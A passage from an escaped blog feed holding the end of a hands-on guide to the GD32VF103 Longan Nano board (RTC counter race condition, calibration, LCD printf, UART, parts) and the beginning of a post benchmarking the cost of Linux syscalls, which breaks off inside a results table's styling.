class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">%<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"o\">**<\/span><span class=\"mi\">32<\/span><span class=\"w\"> <\/span><span class=\"c1\">\/\/ observable after next tick!<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_DIV<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_PSC<\/span><span class=\"o\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_DIV<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"o\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">i<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">wait_for_next_tick<\/span><span class=\"o\">()<\/span>\n\n<span class=\"w\">            <\/span><span class=\"n\">pulses<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"n\">pulses<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">%<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"o\">**<\/span><span class=\"mi\">20<\/span>\n<span class=\"w\">            <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"n\">pulses<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">                <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"o\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">RCCV<\/span><span class=\"o\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">                    <\/span><span class=\"n\">wait_for_next_tick<\/span><span class=\"o\">()<\/span>\n<\/code><\/pre><\/div>\n\n<p>The upper-case variables are actual register (field) names that are also\nused in the <a href=\"http:\/\/www.gd32mcu.com\/download\/down\/document_id\/222\/path_type\/1\">GD32VF103 manual<\/a>. They are:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Field<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>RTC_CNT<\/code><\/td>\n<td>RTC counter (32 bits), incremented after <code>RTC_PSC + 1<\/code> ticks<\/td>\n<\/tr>\n<tr>\n<td><code>RTC_PSC<\/code><\/td>\n<td>RTC prescaler (20 bits)<\/td>\n<\/tr>\n<tr>\n<td><code>RTC_DIV<\/code><\/td>\n<td>RTC divider (20 bits), current prescaler iteration,<\/td>\n<\/tr>\n<tr>\n<td><code>RTC_ALRM<\/code><\/td>\n<td>RTC alarm (32 bits), emit alarm after <code>RTC_CNT<\/code> equals <code>RTC_ALRM + 1<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>RCCV<\/code><\/td>\n<td>Realtime clock calibration value (7 bits)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr>\n<p>More concretely, like almost all mapped peripheral\nregisters, in reality, those registers are split between a low a high part\n(e.g. <code>RTC_CNTL<\/code> and <code>RTC_CNTH<\/code>), as\nmentioned in the <a href=\"#characteristics\">Characteristics Section<\/a>. <\/p>\n<p>Thus, reading the RTC_CNT counter accurately is tricky. See for\nexample the utility function the Nuclei SDK contains (as of May\n2022):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"nf\">rtc_counter_get<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">temp<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x0U<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">    <\/span><span class=\"n\">temp<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNTL<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">temp<\/span><span class=\"w\"> <\/span><span class=\"o\">|=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">RTC_CNTH<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_HIGH_BITS_OFFSET<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">temp<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The order of the reads is guaranteed because <code>RTC_CNTL<\/code> and\n<code>RTC_CNTH<\/code> are macros that expand to dereferenced pointers to\n<code>volatile<\/code> declared memory locations. However, the issue here is that\n<code>RTC_CNTL<\/code> might overflow and yield an increment of <code>RTC_CNTH<\/code>\n<em>after<\/em> it's loaded into temp but <em>before<\/em> <code>RTC_CNTH<\/code> is loaded.\nThus, a more robust approach is to code it like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"nf\">get_rtc_cnt<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">old_h<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNTH<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNTL<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">h<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">RTC_CNTH<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">h<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">old_h<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">            <\/span><span class=\"kt\">uint32_t<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">h<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">16<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">            <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">old_h<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">h<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>This race condition isn't just a theoretical issue, one can\neasily verify that the probability of occurence is greater than\nzero by setting the prescaler to a low value (or zero), calling\nthat function in a loop and adding some diagnostics code at the\nend of the loop (or setting a breakpoint there).<\/p>\n<hr>\n<p>Since the prescaler register is 20 bit wide, the so called 'second'\ninterrupt can be set up to trigger from every 1\/32768 second up\nto half a minute, when using the 32.768 kHz oscillator.<\/p>\n<hr>\n<p>The <code>RCCV<\/code> register field can be set in order to compensate for an\noscillator that runs too fast. Without any\ncompensation, the clock likely drifts by a few seconds per day\ndue to production variability, temperature variation and aging.\nSee also a follow-up article where I describe a concrete\ncalibration procedure.<\/p>\n<p>NB: This is similar to the STM32F103 which also allows to set a 7\nbit wide calibration value in the RTC clock calibration register\nBKP_RTCCR.<\/p>\n<p>NB: The GD32F130's RTC also has a calibration register\n(RTC_HRFC). In contrast to the other devices, its calibration\nvalue is 9 bit wide and the register even contains a sign bit\n(FREQI).\nThat means it's also possible to compensate for a clock that goes\ntoo slow that way (i.e. by 'injecting' additional ticks after <code>2**20<\/code>\nreal ticks happened).<\/p>\n<p>Interestingly, the <a href=\"http:\/\/www.gd32mcu.com\/download\/down\/document_id\/222\/path_type\/1\">GD32VF103 manual<\/a> explicitly states\n(Section 4.4.2 RTC signal output control register BKP_OCTL, page\n59):<\/p>\n<blockquote>\n<p>The value indicates how many clock pulses are ignored <em>or added<\/em> every 2^20 RTC clock pulses.<\/p>\n<\/blockquote>\n<p>(emphasis mine)<\/p>\n<p>But there isn't any sign bit documented. And the RCCV field isn't\ninterpreted as two's complement value, either. Hence, it looks\nlike this statement is wrong and that RTC ticks can only be\nskipped when setting a calibration value, as with the STM32F103.<\/p>\n<p>Thus, to compensate a GD32VF103 (or STM32F103) RTC that goes too slow one has to\ndecrement the prescaler, as well, and work from there.<\/p>\n<h2 id=\"lcd\">LCD<a class=\"headerlink\" href=\"#lcd\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Longan Nano comes with a small 160x80 pixel color LCD display\nattached which is good for 20 column x 5 row text or even some\ngraphics. It's connected to a ST7735S controller which in turn is\nattached to an SPI port. The controller implements the MIPI DCS\nstandard which seems to be popular with such devices.<\/p>\n<p>For quickly putting some text on the LCD, M\u00fcller's <a href=\"https:\/\/github.com\/MuellerA\/LonganNanoTest\/tree\/master\/Lcd\/src\">LCD and SPI\nclasses<\/a>\nare well suited and quick to start with.<\/p>\n<p>For real graphics the <a href=\"https:\/\/github.com\/slmisc\/gd32v-lcd\">gd32v-lcd library<\/a> looks like a good\nstarting point. (I haven't tested it, yet.)<\/p>\n<p>To make some sense of the command byte sequences used in the\nlibraries (and possibly modify\/extend them) a look into the\n<a href=\"https:\/\/dl.sipeed.com\/fileList\/LONGAN\/Nano\/HDK\/driver%20chip%20ST7735S_V1.5_20150303.pdf\">ST7735S\ndatasheet<\/a>\nis helpful.<\/p>\n<p>It's even possible to directly <code>printf()<\/code> to the LCD by overwrite\nthe weakly defined write stub. See also\n<code>~\/.platformio\/packages\/framework-nuclei-sdk\/SoC\/gd32vf103\/Common\/Source\/Stubs\/write.c<\/code>\nfor the default implementation. That means if you define the\nfunction yourself then it overwrites the weak default one.\nExample:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">extern<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;C&quot;<\/span>\n<span class=\"n\">ssize_t<\/span><span class=\"w\"> <\/span><span class=\"n\">_write<\/span><span class=\"p\">(<\/span><span class=\"nb nb-Type\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb nb-Type\">void<\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">ptr<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">len<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">isatty<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">            <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">ptr<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">end<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">len<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">p<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">end<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">p<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">lcd<\/span><span class=\"o\">.<\/span><span class=\"n\">putChar<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">p<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">        <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">len<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>NB: The <code>printf()<\/code> implementation of the Nuclei SDK isn't\ncomplete, e.g. some specifiers such as <code>%f<\/code> or <code>%lu<\/code> are simply\nineffective.<\/p>\n<p>NB: The LCD and controller not just occupy the pins of the first\nSPI device, but also pins B0 (RS, i.e. command\/data selection),\nB1 (reset), B2 (chip select, not connected to an external pin)\nwhich aren't included in <a href=\"https:\/\/github.com\/kprasadvnsi\/longan_nano_pinout\/issues\/1\">kprasadvnsi's pinout\ndiagram<\/a>.<\/p>\n<h2 id=\"uart\">UART<a class=\"headerlink\" href=\"#uart\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Nuclei SDK sets up the USART0 for 115200 baud UART during system start (cf. <code>gd_com_init()<\/code>), by default, and it\nprovides a stub such that <code>printf()<\/code> just works (cf. previous\nsection).<\/p>\n<p>When using the Sipeed JTAG device one can connect to the UART\nlike this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>picocom --baud 115200 --echo --imap lfcrlf \/dev\/ttyUSB1\n<\/code><\/pre><\/div>\n\n<p>NB: Since the Nano is flashed over JTAG the serial console can be\nkept open during flashing. This is convenient in comparison with\nthe Arduino Mini Pro which are usually flashed also over the\nUART.<\/p>\n<p>For details on how to use and configure the UART (or USART) see\nalso <code>gd_com_init()<\/code> in\n<code>~\/.platformio\/packages\/framework-nuclei-sdk\/SoC\/gd32vf103\/Board\/gd32vf103c_longan_nano\/Source\/gd32vf103c_longan_nano.c<\/code>\nand the API in\n<code>~\/.platformio\/packages\/framework-nuclei-sdk\/SoC\/gd32vf103\/Common\/Source\/Drivers\/gd32vf103_usart.c<\/code>.<\/p>\n<hr>\n<p>M\u00fcller's <a href=\"https:\/\/github.com\/MuellerA\/LonganNanoTest\/tree\/master\/Usart\/src\">USART\nclass<\/a>\nis also instructive. If the default Nuclei's default serial\nparameters are sufficient you don't need to call its 'setup()`\nmethod.<\/p>\n<h2 id=\"where-to-go-from-here\">Where to go from here<a class=\"headerlink\" href=\"#where-to-go-from-here\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>There is definitely less information available on the net about\nthe GD32VF103 than about other microcontrollers. Also, the manual\narguably is more minimal than - say - the ATmega328p one.\nStarting points:<\/p>\n<ul>\n<li><a href=\"http:\/\/www.gd32mcu.com\/download\/down\/document_id\/287\/path_type\/1\">GD32VF103 Datasheet<\/a> - i.e. for looking up electrical\n  characteristics etc.<\/li>\n<li><a href=\"http:\/\/www.gd32mcu.com\/download\/down\/document_id\/222\/path_type\/1\">GD32VF103 Manual<\/a> - description of peripherals,\n  register reference etc.<\/li>\n<li><a href=\"https:\/\/dl.sipeed.com\/fileList\/LONGAN\/Nano\/HDK\/Longan%20Nano%203302\/2_Schematic\/Longan_nano_3302_Schematic.pdf\">Longan Nano Schematic<\/a><\/li>\n<li>Longan Nano <a href=\"https:\/\/github.com\/kprasadvnsi\/longan_nano_pinout\">pinout diagram<\/a><\/li>\n<\/ul>\n<p>However, a good strategy is to look up peripherals and other\nfeatures in the manual, check out the register description there\nand <code>grep<\/code> for the register names in the SDK. How the registers\nare accessed there in the implementation of API functions often\npaints a good picture how a feature is actually supposed to be\nused. Example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">grep<\/span><span class=\"w\"> <\/span><span class=\"err\">&#39;<\/span><span class=\"nx\">GPIO<\/span><span class=\"p\">.<\/span><span class=\"o\">*<\/span><span class=\"nx\">BOP<\/span><span class=\"err\">&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">~\/<\/span><span class=\"p\">.<\/span><span class=\"nx\">platformio<\/span><span class=\"o\">\/<\/span><span class=\"nx\">packages<\/span><span class=\"o\">\/<\/span><span class=\"nx\">framework<\/span><span class=\"o\">-<\/span><span class=\"nx\">nuclei<\/span><span class=\"o\">-<\/span><span class=\"nx\">sdk<\/span><span class=\"o\">\/<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">r<\/span>\n<\/code><\/pre><\/div>\n\n<hr>\n<p>As always, it doesn't hurt to search the web. There aren't many\narticles and examples available, but there are some. For example:<\/p>\n<p>Andreas M\u00fcller's <a href=\"https:\/\/github.com\/MuellerA\/LonganNanoTest\">collection of Longan Nano C++ test\nprograms<\/a> - the test\nprograms are well-structured and low-level access is often\nencapsulated in methods and classes in a meaningful way. The test\nprojects cover a bunch of features such as SPI, LCD, GPIO,\nUSART, I2C etc. The author has another repository\nthat contains some more Longan Nano test programs and\n<a href=\"https:\/\/github.com\/smuehlst\/longan-nano-experiments\">experiments<\/a>.\nAt least some of those seem to be based on examples distributed\nby GigaDevice.<\/p>\n<p>As mentioned before, some examples use the legacy framework and\nneed to adjusted, but often they are still quite helpful.<\/p>\n<hr>\n<p>Another angle is to also search in the context of the STM32F103\n(or just a keyword such as STM32 or STM32F1) since many features work in a similar way and\nthere are even similarities in the API of the SDKs. For example,\nafter reading a good tutorial on the STM32F103 one should be able\nto transfer much of the knowledge on how to access and configure\nGPIO pins to the GD32VF103.<\/p>\n<h2 id=\"parts\">Parts<a class=\"headerlink\" href=\"#parts\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As of May 2022, Seeed Studio has all RISC-V articles listed as\nout-of-stock (as well as all of their ARM and AVR boards).\nAlso, shipping to Europe involves extra hassles due to import\nduties and taxes (either just extra charges or even dealings\nwith customs).<\/p>\n<p>Thus, it makes sense to look for these parts at a local\ndistributor, such as Antratek (NB: as of May 2022, GD32VF103\ndevices are out of stock there, as well).<\/p>\n<p>Another good alternative is to look at a global distributor such\nas <a href=\"https:\/\/www.digikey.de\/en\/\">Digi-Key<\/a>. Using them from Europe is\nno problem as they take care of duty and customs. For\nconvenience, direct links of the main parts referenced in this article:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.digikey.de\/en\/products\/detail\/seeed-technology-co-ltd\/114991786\/10060366\">Sipeed USB-JTAG\/TTL RISC-V Debugger<\/a> (8.28 \u20ac)<\/li>\n<li><a href=\"https:\/\/www.digikey.de\/en\/products\/detail\/seeed-technology-co-ltd\/102991574\/15277447\">Longan Nano v1.1<\/a> (7.84 \u20ac)<\/li>\n<\/ul>\n<p>And as of May 2022, they even have some of those still in stock.<\/p>\n<h2 id=\"related-mcus\">Related MCUs<a class=\"headerlink\" href=\"#related-mcus\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For a microcontroller, the GD32VF103 is relatively powerful. As\nmentioned before, it's similar to an Arm STM32F103. However, a\ntypical STM32F103 Blue Pill board runs at 'just' 72 MHz, whereas\nthe Longan Nano runs at 108 MHz.<\/p>\n<p>For many tasks an 8 bit MCU such as the ATmega328p is sufficient,\ne.g. in the form of an <a href=\"https:\/\/www.sparkfun.com\/products\/11114\">Arduino Mini Pro<\/a> which is clocked at 8\nMHz (when using the 3.3V variant). Clocking an MCU lower saves some\nenergy, but when running at a higher frequency the MCU might\nmanage to finish a task faster such that it is able to go back to\na low-energy sleep state earlier. FWIW, the GD32VF103 can be\nclocked at lower frequencies such as 8 MHz, as well.<\/p>\n<p>Frequency and register size is one thing, but in terms of\nperipherals, in comparison with the ATmega328p, the GD32VF103\n(and STM32F103) has more of everything. For example, more 16 bit\ntimers, more fine grained timer dividers, a backup domain, an\nRTC, more external interrupts, etc.<\/p>\n<hr>\n<p>The GD32VF103 isn't the only RISC-V microcontroller available.\nThere is also the somewhat more powerful <a href=\"https:\/\/sifive.cdn.prismic.io\/sifive\/b56b304f-cd2d-421b-9c14-6b35c33f172e_fe310-g002-manual-v1p4.pdf\">SiFive E310<\/a> (<a href=\"https:\/\/sifive.cdn.prismic.io\/sifive\/4999db8a-432f-45e4-bab2-57007eed0a43_fe310-g002-datasheet-v1p2.pdf\">see also<\/a>)  which is a little bit more expensive, i.e. development boards are in the 30 \u20ac range. In contrast to the GD32VF103 it requires a 16 Mhz (and not 8 MHz) external oscillator.<\/p>\n<p>Interestingly, the 32 bit RISC-V E310 does make use of the whole\n32 bits in its memory-mapped peripheral registers, i.e. there is\nno splitting of fields at 16 bit boundaries as with the\nGD32VF103\/GD32F103\/STM32! The RTC counter is split, but only\nafter 32 bits (i.e. the RTC counter is 48 bit wide). Speaking of\nthe RTC, it's more limited than the previously mentioned ones.\nMost notably, it doesn't allow for any calibration!<\/p>\n<p>Available (as of May 2022) are:<\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/mwelling\/lofive\/wiki\">LoFive R1<\/a>\n  (<a href=\"https:\/\/www.digikey.de\/en\/products\/detail\/groupgets-llc\/LOFIVE-R1\/10186935\">Digi-Key<\/a>) - created via a crowd-funding camgaign in 2019; the board isn't\n    listed as supported in the PlatformIO sifive platform, i.e.\n    its project wiki describes a custom makefile based SDK; it\n    comes with 128 MBit flash and without an external low-frequency\n    oscillator<\/li>\n<li><a href=\"https:\/\/www.sparkfun.com\/products\/15799\">SparkFun RED-V Thing\n  Plus<\/a>\n  (<a href=\"https:\/\/www.digikey.de\/en\/products\/detail\/sparkfun-electronics\/DEV-15799\/10715591\">Digi-Key<\/a>) - it's supported by PlatformIO; it comes with an additional low-frequency oscillator (32.768 kHz),\n  on board LiPO charger, on-board USB JTAG device (which actually\n  is an Arm Cortex-M4 MCU) and 32 MBit flash<\/li>\n<\/ul>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The GD32VF103 in the form of the Longan Nano is great for quickly\nhooking up external peripherals for experiments. For example,\nprinting some sensor data on the on-board LCD and\/or\ncollecting them over an UART\/USB link to a host computer.<\/p>\n<p>Per se, the GD32VF103 doesn't really have a unique selling point.\nSimilar things can be archieved with other more popular\nmicrocontrollers. However, a big advantage over - say - Arm\nSTM32F1 is that the GD32CVF103 has a RISC-V instruction set.\nArguably, dealing with RISC-V assembly is a much more pleasant\nexperience than working with - say - ARM assembly. Of course,\ngood C\/C++ compilers are available for many MCU architectures\n(including RISC-V, ARM, AVR), but a hand optimized function\nwritten in assembly may be required once in a while and verifying\ngood code generation by the compiler in the hot path involves\nlooking at an assembly dump.<\/p>\n<p>It's perhaps not the best idea to start with the GD32VF103\nif you are completely new to embedded programming and\nmicrocontrollers. An easier path probably is to start with a\nmuch more popular (and thus better documented) platform such as\nATmega328p\/Arduino or STM32. For example, the ATmega328p manual\nalready is relatively accessible and literally for every\nfeature there are at least 5 or so extensive and well-researched\nblog articles available. Also, with popular platforms there are\nlikely multiple strong communities available that are\napproachable for discussion and help (such as dedidicated\nStackexchange sites, Stackoverflow tags, dedicated forums, etc).<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/nano-dcf77.jpg\" alt=\"Longan Nano with a DCF77 module attached\" width=\"100%\"\/><\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"riscv"}}]},{"title":"On the Costs of Syscalls","link":{"@attributes":{"href":"https:\/\/gms.tf\/on-the-costs-of-syscalls.html","rel":"alternate"}},"published":"2021-08-30T15:00:00+02:00","updated":"2021-08-30T15:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2021-08-30:\/on-the-costs-of-syscalls.html","summary":"<p>It's well known that <a href=\"https:\/\/en.wikipedia.org\/wiki\/System_call\">syscalls<\/a> are expensive. And that\nsoftware mitigations against <a href=\"https:\/\/en.wikipedia.org\/wiki\/Transient_execution_CPU_vulnerability\">CPU bugs<\/a> (such as Meltdown) even\nhave made them more expensive. But how expensive are they really?\nTo begin to answer this question I wrote a small\n<a href=\"https:\/\/github.com\/gsauthof\/osjitter\/blob\/master\/bench_syscalls.cc\">micro-benchmark<\/a> in order to measure the minimal costs of a\nsyscall \u2026<\/p>","content":"<p>It's well known that <a href=\"https:\/\/en.wikipedia.org\/wiki\/System_call\">syscalls<\/a> are expensive. And that\nsoftware mitigations against <a href=\"https:\/\/en.wikipedia.org\/wiki\/Transient_execution_CPU_vulnerability\">CPU bugs<\/a> (such as Meltdown) even\nhave made them more expensive. But how expensive are they really?\nTo begin to answer this question I wrote a small\n<a href=\"https:\/\/github.com\/gsauthof\/osjitter\/blob\/master\/bench_syscalls.cc\">micro-benchmark<\/a> in order to measure the minimal costs of a\nsyscall. Meaning the cost of syscalls one always has to pay\nwhether a context-switch happens or not, even when the work in\nthe kernel is minuscule,  i.e. the costs of switching from\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Context_switch#User_and_kernel_mode_switching\">user-mode to kernel-mode<\/a> and back.<\/p>\n<h2 id=\"methods\">Methods<a class=\"headerlink\" href=\"#methods\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The user-kernel mode-switch <a href=\"https:\/\/en.wikipedia.org\/wiki\/Benchmark_(computing)#Types_of_benchmark\">micro-benchmark<\/a> uses Google's\n<a href=\"https:\/\/github.com\/google\/benchmark\">benchmark library<\/a> for the measurements and is <a href=\"https:\/\/github.com\/gsauthof\/osjitter\/blob\/master\/bench_syscalls.cc\">available in\na git repository<\/a>. The repository also contains some helper\nscripts, e.g. a <a href=\"https:\/\/github.com\/gsauthof\/osjitter\/blob\/master\/helper\/bench_playbook.py\">playbook<\/a> for distributing it to and executing\nit on a bunch of hosts. The benchmark library repeats each case\nuntil the result is considered stable and the playbook allows for\nrepeated executions of the test cases. In the following sections\nthe median value of 100 repetitions is reported (real time in\nnanoseconds).<\/p>\n<p>For the benchmark a bunch of syscalls is called that are expected\nto be very cheap, such as getting the user id (UID), the program id\n(PID), closing an invalid file descriptor, calling an\nnon-existent syscall etc. Thus, a measurement should really\njust include two mode switches. As controls, a few cases don't call\na syscall but do other cheap stuff.<\/p>\n<p>I ran the benchmark on a heterogeneous set of hosts, i.e.\ndifferent kernels, operating systems and configurations. For more\ndetails see also the Hosts Section.<\/p>\n<h2 id=\"results-and-discussion\">Results and Discussion<a class=\"headerlink\" href=\"#results-and-discussion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The following table shows the real time (ns) for the different\ncases:<\/p>\n<style  type=\"text\/css\" >\n    #T_dde6e7fa_0989_11ec_9e32_f8cab850d072 {\n            margin-bottom: 1em\n        }\n<\/style>\n<style  type=\"text\/css\" >\n    #T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col0 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col1 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col2 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    #T_dde6e7fa_0989_11ec_9e32_f8cab850d072row0_col3 {\n            background-color:  #3b4cc0;\n            color:  #f1f1f1;\n        }    